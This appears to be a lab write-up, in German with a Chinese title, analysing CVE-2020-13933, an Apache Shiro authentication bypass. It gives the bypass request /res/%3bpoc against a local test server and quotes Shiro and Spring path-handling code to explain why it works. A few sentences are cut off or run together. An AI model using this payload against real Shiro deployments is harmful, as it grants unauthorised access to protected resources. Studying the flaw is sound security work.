
CVE-2020-13933 靶场: shiro 认证绕过漏洞
Shiro < 1.6.0 Authentifizierungsumgehungs-Schwachstelle
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/* Ressourcen gestellt wird, erfolgt eine 302-Weiterleitung zur Anmeldeseite zur Authentifizierung.NameController.java:
/res/{name}: Anfrage nach Ressource mit Namen name (löst Authentifizierung aus)
/res/: Anfrage nach keiner Ressource (löst keine Authentifizierung aus)Wenn im Anfragepfad kein Ressourcenname angegeben wird, wird keine Authentifizierung ausgelöst und es wird auch keine Ressource zurückgegeben: http://127.0.0.1:8080/res/

Wenn im Anfragepfad ein Ressourcenname angegeben wird, erfolgt eine 302-Weiterleitung zur Authentifizierungsseite: http://127.0.0.1:8080/res/poc

Beim Erstellen einer spezifischen PoC-Anfrage für eine bestimmte Ressource wird keine Authentifizierung ausgelöst und die Ressource zurückgegeben: http://127.0.0.1:8080/res/%3bpoc (%3b ist die URL-Kodierung von ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}